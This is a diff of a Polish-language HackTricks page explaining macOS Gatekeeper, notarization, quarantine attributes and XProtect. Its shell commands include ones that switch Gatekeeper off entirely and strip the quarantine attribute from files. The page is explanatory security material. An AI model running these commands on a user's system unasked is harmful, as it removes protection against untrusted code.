* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,42 +2,42 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Zacznij od zera i stań się ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Zacznij naukę hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)
|
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
|
||||||
## Gatekeeper
|
## Gatekeeper
|
||||||
|
|
||||||
**Gatekeeper** to funkcja bezpieczeństwa opracowana dla systemów operacyjnych Mac, zaprojektowana w celu zapewnienia, że użytkownicy **uruchamiają tylko zaufane oprogramowanie** na swoich systemach. Działa poprzez **weryfikację oprogramowania**, które użytkownik pobiera i próbuje otworzyć z **źródeł spoza App Store**, takich jak aplikacja, wtyczka lub pakiet instalacyjny.
|
**Gatekeeper** to funkcja zabezpieczeń opracowana dla systemów operacyjnych Mac, zaprojektowana w celu zapewnienia, że użytkownicy **uruchamiają tylko zaufane oprogramowanie** na swoich systemach. Działa poprzez **weryfikację oprogramowania**, które użytkownik pobiera i próbuje otworzyć z **źródeł spoza App Store**, takich jak aplikacja, wtyczka lub pakiet instalacyjny.
|
||||||
|
|
||||||
Kluczowym mechanizmem Gatekeepera jest jego **proces weryfikacji**. Sprawdza, czy pobrane oprogramowanie jest **podpisane przez uznawanego dewelopera**, zapewniając autentyczność oprogramowania. Ponadto sprawdza, czy oprogramowanie jest **zatwierdzone przez Apple**, potwierdzając, że jest wolne od znanych treści złośliwych i nie zostało naruszone po zatwierdzeniu.
|
Kluczowym mechanizmem Gatekeepera jest jego **proces weryfikacji**. Sprawdza, czy pobrane oprogramowanie jest **podpisane przez uznawanego dewelopera**, zapewniając autentyczność oprogramowania. Ponadto sprawdza, czy oprogramowanie jest **zatwierdzone przez Apple**, potwierdzając, że jest wolne od znanych treści złośliwych i nie zostało zmodyfikowane po zatwierdzeniu.
|
||||||
|
|
||||||
Dodatkowo, Gatekeeper wzmacnia kontrolę i bezpieczeństwo użytkownika, **prosząc użytkowników o zatwierdzenie otwarcia** pobranego oprogramowania po raz pierwszy. Ta ochrona pomaga zapobiec przypadkowemu uruchomieniu potencjalnie szkodliwego kodu wykonywalnego, który użytkownik mógł pomylić z nieszkodliwym plikiem danych.
|
Dodatkowo, Gatekeeper wzmacnia kontrolę użytkownika i bezpieczeństwo, **prosząc użytkowników o zatwierdzenie otwarcia** pobranego oprogramowania po raz pierwszy. Ta ochrona pomaga zapobiec przypadkowemu uruchomieniu potencjalnie szkodliwego kodu wykonywalnego, który użytkownik mógł pomylić z nieszkodliwym plikiem danych.
|
||||||
|
|
||||||
### Podpisy Aplikacji
|
### Podpisy Aplikacji
|
||||||
|
|
||||||
Podpisy aplikacji, znane również jako podpisy kodu, są kluczowym elementem infrastruktury bezpieczeństwa Apple. Służą do **weryfikacji tożsamości autora oprogramowania** (dewelopera) oraz zapewnienia, że kod nie został naruszony od czasu ostatniego podpisania.
|
Podpisy aplikacji, znane również jako podpisy kodu, są kluczowym elementem infrastruktury bezpieczeństwa Apple. Służą do **weryfikacji tożsamości autora oprogramowania** (dewelopera) oraz zapewnienia, że kod nie został zmieniony od czasu ostatniego podpisania.
|
||||||
|
|
||||||
Oto jak to działa:
|
Oto jak to działa:
|
||||||
|
|
||||||
1. **Podpisywanie Aplikacji:** Gdy deweloper jest gotowy do dystrybucji swojej aplikacji, **podpisuje ją za pomocą klucza prywatnego**. Ten klucz prywatny jest powiązany z **certyfikatem, który Apple wydaje deweloperowi** podczas zapisywania się do programu Apple Developer Program. Proces podpisywania polega na utworzeniu kryptograficznego skrótu wszystkich części aplikacji i zaszyfrowaniu tego skrótu kluczem prywatnym dewelopera.
|
1. **Podpisywanie Aplikacji:** Gdy deweloper jest gotowy do dystrybucji swojej aplikacji, **podpisuje aplikację przy użyciu klucza prywatnego**. Ten klucz prywatny jest powiązany z **certyfikatem, który Apple wydaje deweloperowi** podczas zapisywania się do programu dla deweloperów Apple. Proces podpisywania polega na utworzeniu kryptograficznego skrótu wszystkich części aplikacji i zaszyfrowaniu tego skrótu kluczem prywatnym dewelopera.
|
||||||
2. **Dystrybucja Aplikacji:** Podpisana aplikacja jest następnie dystrybuowana do użytkowników wraz z certyfikatem dewelopera, który zawiera odpowiadający klucz publiczny.
|
2. **Dystrybucja Aplikacji:** Podpisana aplikacja jest następnie dystrybuowana do użytkowników wraz z certyfikatem dewelopera, który zawiera odpowiadający klucz publiczny.
|
||||||
3. **Weryfikacja Aplikacji:** Gdy użytkownik pobiera i próbuje uruchomić aplikację, ich system operacyjny Mac używa klucza publicznego z certyfikatu dewelopera do odszyfrowania skrótu. Następnie ponownie oblicza skrót na podstawie bieżącego stanu aplikacji i porównuje go z odszyfrowanym skrótem. Jeśli się zgadzają, oznacza to, że **aplikacja nie została zmodyfikowana** od czasu podpisania przez dewelopera, i system zezwala na uruchomienie aplikacji.
|
3. **Weryfikacja Aplikacji:** Gdy użytkownik pobiera i próbuje uruchomić aplikację, ich system operacyjny Mac używa klucza publicznego z certyfikatu dewelopera do odszyfrowania skrótu. Następnie ponownie oblicza skrót na podstawie bieżącego stanu aplikacji i porównuje go z odszyfrowanym skrótem. Jeśli się zgadzają, oznacza to, że **aplikacja nie została zmodyfikowana** od czasu podpisania przez dewelopera, i system zezwala na uruchomienie aplikacji.
|
||||||
|
|
||||||
Podpisy aplikacji są istotną częścią technologii Gatekeeper firmy Apple. Gdy użytkownik próbuje **otworzyć aplikację pobraną z internetu**, Gatekeeper weryfikuje podpis aplikacji. Jeśli jest on podpisany certyfikatem wydanym przez znanego dewelopera Apple i kod nie został naruszony, Gatekeeper zezwala na uruchomienie aplikacji. W przeciwnym razie blokuje aplikację i informuje użytkownika.
|
Podpisy aplikacji są istotną częścią technologii Gatekeeper firmy Apple. Gdy użytkownik próbuje **otworzyć aplikację pobraną z internetu**, Gatekeeper weryfikuje podpis aplikacji. Jeśli jest on podpisany certyfikatem wydanym przez znanego dewelopera Apple i kod nie został zmieniony, Gatekeeper zezwala na uruchomienie aplikacji. W przeciwnym razie blokuje aplikację i informuje użytkownika.
|
||||||
|
|
||||||
Począwszy od macOS Catalina, **Gatekeeper sprawdza również, czy aplikacja została zatwierdzona** przez Apple, dodając dodatkową warstwę bezpieczeństwa. Proces zatwierdzania sprawdza aplikację pod kątem znanych problemów z bezpieczeństwem i kodu złośliwego, a jeśli te kontrole zostaną zaliczone, Apple dodaje bilet do aplikacji, który Gatekeeper może zweryfikować.
|
Począwszy od macOS Catalina, **Gatekeeper sprawdza również, czy aplikacja została zatwierdzona** przez Apple, dodając dodatkową warstwę zabezpieczeń. Proces notaryzacji sprawdza aplikację pod kątem znanych problemów z bezpieczeństwem i kodu złośliwego, a jeśli te testy zostaną zaliczone, Apple dodaje bilet do aplikacji, który Gatekeeper może zweryfikować.
|
||||||
|
|
||||||
#### Sprawdzanie Podpisów
|
#### Sprawdzanie Podpisów
|
||||||
|
|
||||||
|
@ -62,9 +62,9 @@ codesign -s <cert-name-keychain> toolsdemo
|
||||||
|
|
||||||
Proces notaryzacji firmy Apple stanowi dodatkowe zabezpieczenie mające na celu ochronę użytkowników przed potencjalnie szkodliwym oprogramowaniem. Polega on na **dostarczeniu przez dewelopera swojej aplikacji do zbadania** przez **Usługę Notarialną Apple**, która nie powinna być mylona z Recenzją Aplikacji. Ta usługa to **zautomatyzowany system**, który analizuje przesłane oprogramowanie pod kątem **zawartości szkodliwej** oraz ewentualnych problemów z podpisem kodu.
|
Proces notaryzacji firmy Apple stanowi dodatkowe zabezpieczenie mające na celu ochronę użytkowników przed potencjalnie szkodliwym oprogramowaniem. Polega on na **dostarczeniu przez dewelopera swojej aplikacji do zbadania** przez **Usługę Notarialną Apple**, która nie powinna być mylona z Recenzją Aplikacji. Ta usługa to **zautomatyzowany system**, który analizuje przesłane oprogramowanie pod kątem **zawartości szkodliwej** oraz ewentualnych problemów z podpisem kodu.
|
||||||
|
|
||||||
Jeśli oprogramowanie **przejdzie** tę inspekcję bez podniesienia jakichkolwiek obaw, Usługa Notarialna generuje bilet notaryzacyjny. Następnie deweloper jest zobowiązany do **dołączenia tego biletu do swojego oprogramowania**, proces ten nazywa się 'przypinaniem'. Ponadto bilet notaryzacyjny jest również publikowany online, gdzie Gatekeeper, technologia bezpieczeństwa Apple, może uzyskać do niego dostęp.
|
Jeśli oprogramowanie **przejdzie** tę inspekcję bez podniesienia jakichkolwiek wątpliwości, Usługa Notarialna generuje bilet notaryzacyjny. Następnie deweloper musi **dołączyć ten bilet do swojego oprogramowania**, co jest procesem znanym jako 'zszywanie'. Ponadto bilet notaryzacyjny jest również publikowany online, gdzie Gatekeeper, technologia bezpieczeństwa Apple, może uzyskać do niego dostęp.
|
||||||
|
|
||||||
Podczas pierwszej instalacji lub uruchomienia oprogramowania przez użytkownika, istnienie biletu notaryzacyjnego - czy to przypiętego do pliku wykonywalnego, czy znalezionego online - **informuje Gatekeepera, że oprogramowanie zostało notaryzowane przez Apple**. W rezultacie Gatekeeper wyświetla opisową wiadomość w oknie początkowego uruchomienia, informującą, że oprogramowanie zostało poddane sprawdzeniom pod kątem zawartości szkodliwej przez Apple. Ten proces zwiększa zaufanie użytkowników do bezpieczeństwa oprogramowania, które instalują lub uruchamiają na swoich systemach.
|
Podczas pierwszej instalacji lub uruchomienia oprogramowania przez użytkownika, istnienie biletu notaryzacyjnego - czy to zszytego z plikiem wykonywalnym, czy znalezionego online - **informuje Gatekeepera, że oprogramowanie zostało notaryzowane przez Apple**. W rezultacie Gatekeeper wyświetla opisową wiadomość w początkowym oknie uruchamiania, informującą, że oprogramowanie zostało poddane sprawdzeniom pod kątem zawartości szkodliwej przez Apple. Ten proces zwiększa zaufanie użytkowników do bezpieczeństwa oprogramowania, które instalują lub uruchamiają na swoich systemach.
|
||||||
|
|
||||||
### Wyliczanie GateKeeper
|
### Wyliczanie GateKeeper
|
||||||
|
|
||||||
|
@ -76,7 +76,7 @@ Można sprawdzić **status** GateKeepera za pomocą:
|
||||||
spctl --status
|
spctl --status
|
||||||
```
|
```
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Należy pamiętać, że sprawdzanie sygnatury GateKeeper jest wykonywane tylko dla **plików z atrybutem kwarantanny**, a nie dla każdego pliku.
|
Należy zauważyć, że sprawdzanie sygnatury GateKeeper jest wykonywane tylko dla **plików z atrybutem kwarantanny**, a nie dla każdego pliku.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
GateKeeper sprawdzi, czy zgodnie z **preferencjami i sygnaturą** można uruchomić plik binarny:
|
GateKeeper sprawdzi, czy zgodnie z **preferencjami i sygnaturą** można uruchomić plik binarny:
|
||||||
|
@ -99,7 +99,7 @@ anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists an
|
||||||
```
|
```
|
||||||
Zauważ, jak pierwsza reguła zakończyła się na "**App Store**", a druga na "**Developer ID**", a w poprzednim obrazie było **włączone wykonywanie aplikacji ze sklepu App Store i zidentyfikowanych deweloperów**. Jeśli **zmienisz** to ustawienie na App Store, reguły "**Notarized Developer ID**" znikną.
|
Zauważ, jak pierwsza reguła zakończyła się na "**App Store**", a druga na "**Developer ID**", a w poprzednim obrazie było **włączone wykonywanie aplikacji ze sklepu App Store i zidentyfikowanych deweloperów**. Jeśli **zmienisz** to ustawienie na App Store, reguły "**Notarized Developer ID**" znikną.
|
||||||
|
|
||||||
Istnieje również tysiące reguł typu **GKE**:
|
Istnieje także tysiące reguł **typu GKE**:
|
||||||
```bash
|
```bash
|
||||||
SELECT requirement,allow,disabled,label from authority where label = 'GKE' limit 5;
|
SELECT requirement,allow,disabled,label from authority where label = 'GKE' limit 5;
|
||||||
cdhash H"b40281d347dc574ae0850682f0fd1173aa2d0a39"|1|0|GKE
|
cdhash H"b40281d347dc574ae0850682f0fd1173aa2d0a39"|1|0|GKE
|
||||||
|
@ -114,7 +114,7 @@ Lub możesz wyświetlić poprzednie informacje za pomocą:
|
||||||
```bash
|
```bash
|
||||||
sudo spctl --list
|
sudo spctl --list
|
||||||
```
|
```
|
||||||
Opcje **`--master-disable`** i **`--global-disable`** polecenia **`spctl`** całkowicie **wyłączą** te kontrole podpisów:
|
Opcje **`--master-disable`** i **`--global-disable`** polecenia **`spctl`** całkowicie wyłączą te kontrole podpisów:
|
||||||
```bash
|
```bash
|
||||||
# Disable GateKeeper
|
# Disable GateKeeper
|
||||||
spctl --global-disable
|
spctl --global-disable
|
||||||
|
@ -124,7 +124,7 @@ spctl --master-disable
|
||||||
spctl --global-enable
|
spctl --global-enable
|
||||||
spctl --master-enable
|
spctl --master-enable
|
||||||
```
|
```
|
||||||
Kiedy jest całkowicie włączony, pojawi się nowa opcja:
|
Gdy jest w pełni włączony, pojawi się nowa opcja:
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1148).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1148).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -147,24 +147,24 @@ sudo spctl --enable --label "whitelist"
|
||||||
spctl --assess -v /Applications/App.app
|
spctl --assess -v /Applications/App.app
|
||||||
/Applications/App.app: accepted
|
/Applications/App.app: accepted
|
||||||
```
|
```
|
||||||
### Pliki kwarantanny
|
### Pliki w kwarantannie
|
||||||
|
|
||||||
Po **pobraniu** aplikacji lub pliku, określone **aplikacje macOS**, takie jak przeglądarki internetowe lub klienty poczty elektronicznej, **dołączają rozszerzony atrybut pliku**, powszechnie znany jako "**flaga kwarantanny**", do pobranego pliku. Ten atrybut działa jako środek bezpieczeństwa, aby **oznaczyć plik** jako pochodzący z niezaufanego źródła (internetu) i potencjalnie niosący ryzyko. Jednak nie wszystkie aplikacje dołączają ten atrybut, na przykład zwykłe oprogramowanie klientów BitTorrent zazwyczaj omija ten proces.
|
Po **pobraniu** aplikacji lub pliku, określone **aplikacje macOS**, takie jak przeglądarki internetowe czy klienty poczty elektronicznej, **dołączają rozszerzony atrybut pliku**, powszechnie znany jako "**flaga kwarantanny**", do pobranego pliku. Ten atrybut działa jako środek bezpieczeństwa, **oznaczając plik** jako pochodzący z niezaufanego źródła (internetu) i potencjalnie niosący ryzyko. Jednak nie wszystkie aplikacje dołączają ten atrybut, na przykład popularne oprogramowanie klientów BitTorrent zazwyczaj omija ten proces.
|
||||||
|
|
||||||
**Obecność flagi kwarantanny sygnalizuje funkcję bezpieczeństwa Gatekeeper macOS, gdy użytkownik próbuje uruchomić plik**.
|
**Obecność flagi kwarantanny sygnalizuje funkcję bezpieczeństwa Gatekeeper macOS, gdy użytkownik próbuje uruchomić plik**.
|
||||||
|
|
||||||
W przypadku gdy **flaga kwarantanny nie jest obecna** (jak w przypadku plików pobranych za pomocą niektórych klientów BitTorrent), **sprawdzenia Gatekeepera mogą nie zostać wykonane**. Dlatego użytkownicy powinni zachować ostrożność przy otwieraniu plików pobranych z mniej bezpiecznych lub nieznanych źródeł.
|
W przypadku gdy **flaga kwarantanny nie jest obecna** (jak w przypadku plików pobranych za pomocą niektórych klientów BitTorrent), **sprawdzenia Gatekeepera mogą nie zostać wykonane**. Dlatego użytkownicy powinni zachować ostrożność przy otwieraniu plików pobranych z mniej bezpiecznych lub nieznanych źródeł.
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
**Sprawdzanie** **ważności** podpisów kodu to **proces wymagający dużych zasobów**, który obejmuje generowanie kryptograficznych **skrótów** kodu i wszystkich jego pakietowanych zasobów. Ponadto, sprawdzanie ważności certyfikatu polega na **sprawdzeniu online** u serwerów Apple, czy został on unieważniony po wydaniu. Z tych powodów pełne sprawdzenie podpisu kodu i notyfikacji jest **niepraktyczne do uruchamiania za każdym razem, gdy aplikacja jest uruchamiana**.
|
**Sprawdzanie** **ważności** podpisów kodu to **proces wymagający dużych zasobów**, który obejmuje generowanie kryptograficznych **skrótów** kodu i wszystkich jego pakietowanych zasobów. Ponadto, sprawdzenie ważności certyfikatu polega na **sprawdzeniu online** u serwerów Apple, czy został on unieważniony po wydaniu. Z tych powodów pełne sprawdzenie podpisu kodu i notyfikacji jest **niepraktyczne do uruchamiania za każdym razem, gdy aplikacja jest uruchamiana**.
|
||||||
|
|
||||||
Dlatego te sprawdzenia są **wykonywane tylko podczas uruchamiania aplikacji z atrybutem kwarantanny**.
|
Dlatego te sprawdzenia są **wykonywane tylko podczas uruchamiania aplikacji z atrybutem w kwarantannie**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Ten atrybut musi być **ustawiony przez aplikację tworzącą/pobierającą** plik.
|
Ten atrybut musi być **ustawiony przez aplikację tworzącą/pobierającą** plik.
|
||||||
|
|
||||||
Jednak pliki, które są zabezpieczone piaskownicą, będą miały ten atrybut ustawiony dla każdego pliku, który tworzą. Aplikacje niespiaskowane mogą samodzielnie go ustawić lub określić klucz [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/lsfilequarantineenabled?language=objc) w pliku **Info.plist**, co spowoduje, że system ustawia rozszerzony atrybut `com.apple.quarantine` na utworzonych plikach.
|
Jednak pliki, które są zabezpieczone piaskownicą, będą miały ten atrybut ustawiony dla każdego pliku, który tworzą. Aplikacje niebędące w piaskownicy mogą samodzielnie go ustawić lub określić klucz [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/lsfilequarantineenabled?language=objc) w pliku **Info.plist**, co spowoduje, że system ustawia rozszerzony atrybut `com.apple.quarantine` na utworzonych plikach.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Możliwe jest **sprawdzenie jego statusu i włączenie/wyłączenie** (wymagane uprawnienia roota) za pomocą:
|
Możliwe jest **sprawdzenie jego statusu i włączenie/wyłączenie** (wymagane uprawnienia roota) za pomocą:
|
||||||
|
@ -176,7 +176,7 @@ spctl --enable
|
||||||
spctl --disable
|
spctl --disable
|
||||||
#You can also allow nee identifies to execute code using the binary "spctl"
|
#You can also allow nee identifies to execute code using the binary "spctl"
|
||||||
```
|
```
|
||||||
Możesz również **sprawdzić, czy plik ma atrybut rozszerzonej kwarantanny** za pomocą:
|
Możesz również **sprawdzić, czy plik ma atrybut kwarantanny** za pomocą:
|
||||||
```bash
|
```bash
|
||||||
xattr file.png
|
xattr file.png
|
||||||
com.apple.macl
|
com.apple.macl
|
||||||
|
@ -198,7 +198,7 @@ com.apple.quarantine: 00C1;607842eb;Brave;F643CD5F-6071-46AB-83AB-390BA944DEC5
|
||||||
# Brave -- App
|
# Brave -- App
|
||||||
# F643CD5F-6071-46AB-83AB-390BA944DEC5 -- UID assigned to the file downloaded
|
# F643CD5F-6071-46AB-83AB-390BA944DEC5 -- UID assigned to the file downloaded
|
||||||
```
|
```
|
||||||
Rzeczywiście proces "może ustawić flagi kwarantanny dla plików, które tworzy" (próbowałem zastosować flagę USER_APPROVED w utworzonym pliku, ale nie została ona zastosowana):
|
Faktycznie proces "może ustawić flagi kwarantanny dla tworzonych plików" (próbowałem zastosować flagę USER\_APPROVED w utworzonym pliku, ale nie została ona zastosowana):
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -264,7 +264,7 @@ return 0;
|
||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
A **usuń** ten atrybut za pomocą:
|
I **usuń** ten atrybut za pomocą:
|
||||||
```bash
|
```bash
|
||||||
xattr -d com.apple.quarantine portada.png
|
xattr -d com.apple.quarantine portada.png
|
||||||
#You can also remove this attribute from every file with
|
#You can also remove this attribute from every file with
|
||||||
|
@ -282,17 +282,17 @@ Informacje o kwarantannie są również przechowywane w centralnej bazie danych
|
||||||
|
|
||||||
#### **Quarantine.kext**
|
#### **Quarantine.kext**
|
||||||
|
|
||||||
Rozszerzenie jądra jest dostępne tylko poprzez **pamięć podręczną jądra w systemie**; jednakże, można pobrać **Kernel Debug Kit z https://developer.apple.com/**, który zawiera zsymbolizowaną wersję rozszerzenia.
|
Rozszerzenie jądra jest dostępne tylko poprzez **pamięć podręczną jądra w systemie**; jednak można pobrać **Kernel Debug Kit z https://developer.apple.com/**, który zawiera zsymbolizowaną wersję rozszerzenia.
|
||||||
|
|
||||||
### XProtect
|
### XProtect
|
||||||
|
|
||||||
XProtect to wbudowana funkcja **antywirusowa** w macOS. XProtect **sprawdza każdą aplikację podczas pierwszego uruchomienia lub modyfikacji w stosunku do swojej bazy danych** znanych złośliwych oprogramowań i niebezpiecznych typów plików. Gdy pobierasz plik za pomocą określonych aplikacji, takich jak Safari, Mail lub Messages, XProtect automatycznie skanuje plik. Jeśli pasuje do jakiegokolwiek znanego złośliwego oprogramowania w swojej bazie danych, XProtect **uniemożliwi uruchomienie pliku** i powiadomi Cię o zagrożeniu.
|
XProtect to wbudowana funkcja **antywirusowa** w macOS. XProtect **sprawdza każdą aplikację podczas pierwszego uruchomienia lub modyfikacji w stosunku do swojej bazy danych** znanych złośliwych oprogramowań i niebezpiecznych typów plików. Gdy pobierasz plik za pomocą określonych aplikacji, takich jak Safari, Mail lub Wiadomości, XProtect automatycznie skanuje plik. Jeśli pasuje do znanego złośliwego oprogramowania w swojej bazie danych, XProtect **uniemożliwi uruchomienie pliku** i powiadomi Cię o zagrożeniu.
|
||||||
|
|
||||||
Baza danych XProtect jest **regularnie aktualizowana** przez Apple z nowymi definicjami złośliwego oprogramowania, a te aktualizacje są automatycznie pobierane i instalowane na Twoim Macu. Zapewnia to, że XProtect zawsze jest aktualny z najnowszymi znanymi zagrożeniami.
|
Baza danych XProtect jest **regularnie aktualizowana** przez Apple nowymi definicjami złośliwego oprogramowania, a te aktualizacje są automatycznie pobierane i instalowane na Twoim Macu. Zapewnia to, że XProtect zawsze jest aktualny z najnowszymi znanymi zagrożeniami.
|
||||||
|
|
||||||
Warto jednak zauważyć, że **XProtect nie jest pełnoprawnym rozwiązaniem antywirusowym**. Sprawdza tylko określoną listę znanych zagrożeń i nie wykonuje skanowania w czasie rzeczywistym, jak większość oprogramowania antywirusowego.
|
Warto jednak zauważyć, że **XProtect nie jest pełnoprawnym rozwiązaniem antywirusowym**. Sprawdza tylko określoną listę znanych zagrożeń i nie wykonuje skanowania w czasie rzeczywistym, jak większość oprogramowania antywirusowego.
|
||||||
|
|
||||||
Możesz uzyskać informacje o najnowszej aktualizacji XProtect uruchamiając:
|
Możesz uzyskać informacje o najnowszej aktualizacji XProtect, uruchamiając:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -300,14 +300,14 @@ system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistC
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
XProtect znajduje się w chronionym przez SIP miejscu w **/Library/Apple/System/Library/CoreServices/XProtect.bundle**, a wewnątrz bundla znajdziesz informacje używane przez XProtect:
|
XProtect znajduje się w chronionym przez SIP miejscu w **/Library/Apple/System/Library/CoreServices/XProtect.bundle**, a wewnątrz bundla znajdziesz informacje, których XProtect używa:
|
||||||
|
|
||||||
- **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: Pozwala kodowi z tymi cdhashes na korzystanie z przestarzałych uprawnień.
|
* **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: Pozwala kodowi z tymi cdhashes na korzystanie z przestarzałych uprawnień.
|
||||||
- **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: Lista wtyczek i rozszerzeń, które są niedozwolone do załadowania za pomocą BundleID i TeamID lub wskazujące minimalną wersję.
|
* **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: Lista wtyczek i rozszerzeń, które są niedozwolone do załadowania za pomocą BundleID i TeamID lub wskazujących minimalną wersję.
|
||||||
- **`XProtect.bundle/Contents/Resources/XProtect.yara`**: Reguły Yara do wykrywania złośliwego oprogramowania.
|
* **`XProtect.bundle/Contents/Resources/XProtect.yara`**: Zasady Yara do wykrywania złośliwego oprogramowania.
|
||||||
- **`XProtect.bundle/Contents/Resources/gk.db`**: Baza danych SQLite3 z haszami zablokowanych aplikacji i TeamIDs.
|
* **`XProtect.bundle/Contents/Resources/gk.db`**: Baza danych SQLite3 z haszami zablokowanych aplikacji i TeamIDs.
|
||||||
|
|
||||||
Należy zauważyć, że istnieje inna aplikacja w **`/Library/Apple/System/Library/CoreServices/XProtect.app`** związana z XProtect, która nie jest związana z procesem Gatekeeper.
|
Zauważ, że istnieje inna aplikacja w **`/Library/Apple/System/Library/CoreServices/XProtect.app`** związana z XProtect, która nie jest związana z procesem Gatekeeper.
|
||||||
|
|
||||||
### Nie Gatekeeper
|
### Nie Gatekeeper
|
||||||
|
|
||||||
|
@ -315,25 +315,25 @@ Należy zauważyć, że istnieje inna aplikacja w **`/Library/Apple/System/Libra
|
||||||
Zauważ, że Gatekeeper **nie jest uruchamiany za każdym razem**, gdy uruchamiasz aplikację, tylko _**AppleMobileFileIntegrity**_ (AMFI) będzie tylko **weryfikować podpisy kodu wykonywalnego** podczas uruchamiania aplikacji, która została już uruchomiona i zweryfikowana przez Gatekeeper.
|
Zauważ, że Gatekeeper **nie jest uruchamiany za każdym razem**, gdy uruchamiasz aplikację, tylko _**AppleMobileFileIntegrity**_ (AMFI) będzie tylko **weryfikować podpisy kodu wykonywalnego** podczas uruchamiania aplikacji, która została już uruchomiona i zweryfikowana przez Gatekeeper.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
